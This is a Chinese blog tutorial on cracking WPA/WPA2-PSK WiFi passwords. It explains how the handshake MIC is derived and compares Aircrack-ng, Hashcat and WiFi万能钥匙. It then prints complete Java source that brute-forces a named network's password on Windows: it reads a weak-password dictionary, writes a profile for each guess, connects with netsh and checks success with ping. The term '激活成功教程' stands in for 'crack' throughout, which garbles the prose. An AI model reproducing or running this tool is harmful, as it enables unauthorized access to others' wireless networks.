基于WPA的暴力激活成功教程
基于WPA四次握手协议的暴力激活成功教程
在KRACK漏洞发现前,已知的激活成功教程WPA方法只有字典攻击。对于WPA-PSK这套体系,如果没有密码几乎没法窃听他的通信,在有了密码的情况下 WPA 的窃听也不具有 WEP 中窃听的随意性,在 WPA 中 SNonce,ANonce(随机数) 也很好的起到了加密数据防止窃听的作用。
基于四次握手的暴力激活成功教程
字典攻击作为一种常用的攻击手段要明白的是从哪里开始攻击, 要寻找和密码有有联系的信息元素。在WPA中和密码有联系的有 数据传输包和四次握手包。由于无法知道明文和 WPA的数据加密算法的复杂性,在数据传输包上要找到可以攻击的信息元素基本上很难实现,所以只能在握手包里寻找有密码有联系的信息。在上面的四次握手包的图片中很清楚的表明,在四川握手中主要传递的有如下数据:SSID,Amac,Smac,Snonce,Anonce,802.1x data(在图中没标出,这个数据帧用来生成MIC),MIC签名。前面 6 个元素很清楚,一般不会和密码有联系的。只有最后一个 MIC和密码有所联系。通过MIC的派生图我们知道,MIC是通过上面六个信息元素和密码通过三个主要的算法派生出来的。 实现方法如下:
-
把字典里的密码作为PSK(预共享密钥),与SSID通过SHA1算法生成PMK,即:PMK=pdkdf2_SHA1(passphrase,SSID,SSID length,4096)(式 3.1-1)
其中passphrase为PSK,4096表示函数迭代的次数。 -
生成的PMK再与Amac和Smac,Anonce和Snonce生成PTK,即:
PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”,MIN(Amac,Smac) || Max(Amac,Smac) || Min(Anonce,Snonce) || Max(Anonce,Snonce)) (式3.1-2) -
最后MIC KEY取值为PTK 的前16 个字节,然后和802.1x data生成MAC,即:
MIC = HMAC_MD5(MIC Key,16,802.1x data) (式3.1-3) -
当在字典里找到一个密码他的 MIC’等于握手包中的 MIC,这时字典激活成功教程成功。这就是我们要的那个密码。如果把字典里的所有密码都找遍了还有没有符合上述条件的。那么激活成功教程失败。
常用WIFI激活成功教程工具
能否快速激活成功教程WiFi密码要看选用的激活成功教程工具,而能否激活成功教程WiFi密码最终要看字典是否足够强大。
- Aircrack是激活成功教程WEP/WPA/WPA2加密的主流工具之一,是 Kali Linux 里面最热门的 WiFi 激活成功教程领域的软件。Aircrack-ng套件包含的工具可用于捕获数据包、握手验证。可用来进行暴力激活成功教程和字典攻击。Aircrack-ng是一款多合一整合套件,该套件大致包含下列几种工具:
- Aircrack-ng:无线密码激活成功教程
- Aireplay:生成网络数据,去客户端验证
- Airodump-ng:数据包捕捉
- Airbase-ng:配置伪造的接入点
-
Hashcat是自称世界上最快的密码恢复工具。它在2015年之前拥有专有代码库,但现在作为免费软件发布。适用于Linux,OS X和Windows的版本可以使用基于CPU或基于GPU的变体。支持hashcat的散列算法有Microsoft LM哈希,MD4,MD5,SHA系列,Unix加密格式,MySQL和Cisco PIX等。
使用aricrack-ng暴力激活成功教程8位数密码需要50个小时, 但是使用Hashcat只要1个半小时不到。使用aircrac-ng激活成功教程密码的时候计算机会爆卡, 内存占用100%是常事, Hashcat不但支持CPU激活成功教程,还支持GPU激活成功教程,利用显卡的计算能力进行极速激活成功教程。即使使用普通的CPU或GPU,每秒也能够生成1.35亿个哈希值。 -
WiFi万能钥匙[4]的基础功能并不是采用“密码库穷举(逐个尝试)暴力激活成功教程”的方式获得正确密码,而是通过用户上传分享的热点(主动或“被动”)到后台服务器的方式收集、积累数据。后台服务器维护一份热点数据库,其中包含着热点名称(或者用来唯一标识的MAC地址)以及与其对应的密码字符串。查询密码时,用户将周围扫描到的陌生热点信息上传,服务器后台查询到相对应的密码(如果分享过的话)后返回给APP供用户选择使用。不过WiFi共享钥匙有一个“深度解锁”的功能与“暴力激活成功教程”沾点边,但它也仅仅是使用几个常见的较为简单的密码来尝试连接热点,不能称得上算“密码库穷举”。现在WiFi万能钥匙充实密码库的方式主要是用户主动分享,毕竟用户基数变大了,但在以前可不是这样。早期的WiFi万能钥匙得到热点密码数据的手段并不高明,甚至可以说是不光彩的。
字典攻击代码实现
用JAVA实现了在windows系统暴力激活成功教程WIFI密钥的脚本。代码原理是生成对应WIFI的本地文件,然后使用调用控制台使用netsh命令进行网络连接,使用ping命令测试是否连接激活成功教程成功。
主机连接的WIFI都会在本地生成配置文件,内容包含了WIFI配置的关键信息。比如SSID信息:WIFI名name(划线处)以及对应的16进制hex,还有WIFI的加密方式以及预共享密钥。所以连接WIFI要生成本地的配置文件,让机器识别代码。
第一步就是连接本地字典,然后从字典读取密码作为PSK,第三步根据指定的格式以及PSK创建配置文件,第四步就是将配置文件添加到本地指定的位置。然后就是尝试连接网络。最后一步就是ping一个网站来测试是否连接成功。
实验结果以及总结
由于密码比较简单,所以尝试5次就激活成功教程了,但是上述代码中,每执行一次就要暂停3s,来等待连接结果,所以效率是很低的。
激活成功教程 WPA 是最好要在纯命令行下进行,在命令行模式下会执行的更快。他们的速度差异是:linux命令行最快398.24 k/s,windows下次之 264.93 key/s。这个也说明了像Aircarck类的无线激活成功教程软件都基于linux系统。所以激活成功教程 WPA在纯命令行模式下有更高效的优势。下面是在纯命令行模式下实测数据。 密码尝试数398.24key/s ,产生 PMK 的速度是193PMK/s PMK 库的增长数度是24.6kb/s ,直接PMK 库尝试密码的速度为57136.97key/s 。所以对于PMK的生成:
PMK=pdkdf2_SHA1(passphrase,SSID,SSID length,4096)
在这个函数里的输入值都很明了除了这个4096,这就是设计者加入的防范,他的意思让函数迭代 4096次,主要目的就是大大的降低字典攻击的效率,同时也增加了函数的复杂性。这个函数的消耗的时间占派生一个 MIC 的总时间的 99.3%,也就是WPA里其他算法消耗的时间只占不到总时间的 0.7%。所以建库激活成功教程就是先完成时间上99.3%的任务,产生一个 PMK 库。激活成功教程时只要完成时间上 0.7%的工作了。这也就解释了为什么建库比较慢。
源码
package wifi_crack;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintStream;
public class WiFiCrack {
//WiFi名
//public static final String WIFI_NAME="TP-LINK_1E4Adeng";
public static final String WIFI_NAME="iPhone";
//转16进制
//public static final String WIFI_NAME_HEX="54502D4C494E4B5F3145344164656E67";
public static final String WIFI_NAME_HEX="6950686F6E65";
//CMD以及XML文件配置目录
public static final String path="E:\\wifi\\test";
//.xml文件模板,变量为密码
public static String XML_FORMAT(String WIFI_PASSWORD) {
return
"<?xml version=\"1.0\"?>\r\n" +
"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\r\n" +
"\t<name>"+WIFI_NAME+"</name>\r\n" +
"\t<SSIDConfig>\r\n" +
"\t\t<SSID>\r\n" +
"\t\t\t<hex>"+WIFI_NAME_HEX+"</hex>\r\n" +
"\t\t\t<name>"+WIFI_NAME+"</name>\r\n" +
"\t\t</SSID>\r\n" +
"\t</SSIDConfig>\r\n" +
"\t<connectionType>ESS</connectionType>\r\n" +
"\t<connectionMode>auto</connectionMode>\r\n" +
"\t<MSM>\r\n" +
"\t\t<security>\r\n" +
"\t\t\t<authEncryption>\r\n" +
"\t\t\t\t<authentication>WPA2PSK</authentication>\r\n" +
"\t\t\t\t<encryption>AES</encryption>\r\n" +
"\t\t\t\t<useOneX>false</useOneX>\r\n" +
"\t\t\t</authEncryption>\r\n" +
"\t\t\t<sharedKey>\r\n" +
"\t\t\t\t<keyType>passPhrase</keyType>\r\n" +
"\t\t\t\t<protected>false</protected>\r\n" +
"\t\t\t\t<keyMaterial>"+WIFI_PASSWORD+"</keyMaterial>\r\n" +
"\t\t\t</sharedKey>\r\n" +
"\t\t</security>\r\n" +
"\t</MSM>\r\n" +
"</WLANProfile>\r\n";
}
public static void main(String[] args) throws IOException {
//从口令字典读取密码
String password=null;
String path = "E:\\wifi\\弱口令字典.txt";
BufferedReader reader = new BufferedReader(new FileReader(path));
//暴力激活成功教程
int count=0;//尝试次数
while ((password = reader.readLine()) != null) {
if(password.length()<8) {
continue;//口令长度大于8
}
count++;
// 创建配置文件,参数为口令
createXml(password);
// 添加配置文件
addXml();
// 连接网络
conect();
// 测试是否连通有网,先睡个3秒,识别网络有点慢,ping有点慢
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
if (ping()) {
System.out.println("网络连接成功,密码是" + password+"|尝试次数为"+count);
break;
}
else {
System.out.println("密码错误,尝试次数为"+count);
System.out.println("---------------------------");
}
}
}
//先生成配置文件,只修改密码
public static void createXml(String password){
File file = new File(path,WIFI_NAME+".xml");
try {
PrintStream ps = new PrintStream(file);
String str = XML_FORMAT(password);
ps.println(str);
ps.close();
System.out.println(".xml文件创建成功");
} catch (FileNotFoundException e) {
e.printStackTrace();
System.out.println(".xml文件创建失败");
}
}
//添加配置文件指令以及显示结果输出
public static void addXml() {
try {
Process process = Runtime.getRuntime().exec(
"netsh wlan add profile filename="+WIFI_NAME+".xml",
null, new File(path));
//打印执行结果
BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
String line = null;
while ((line = bReader.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
//连接网络指令以及结果输出
public static void conect() {
try {
Process process = Runtime.getRuntime().exec(
"netsh wlan connect name="+WIFI_NAME,
null, new File(path));
//打印执行结果
BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
String line = null;
while ((line = bReader.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
//ping测试是否连接成功
public static boolean ping() {
boolean flag=false;
try {
Process process = Runtime.getRuntime().exec(
"ping bilibili.com",
null, new File(path));
//存储结果
BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
String line = null;
while ((line = bReader.readLine()) != null) {
if(line.contains("来自")) {
flag=true;
}
}
} catch (IOException e) {
e.printStackTrace();
}
return flag;
}
}
今天的文章基于WPA的暴力激活成功教程(JAVA实现激活成功教程WIFI)分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/27102.html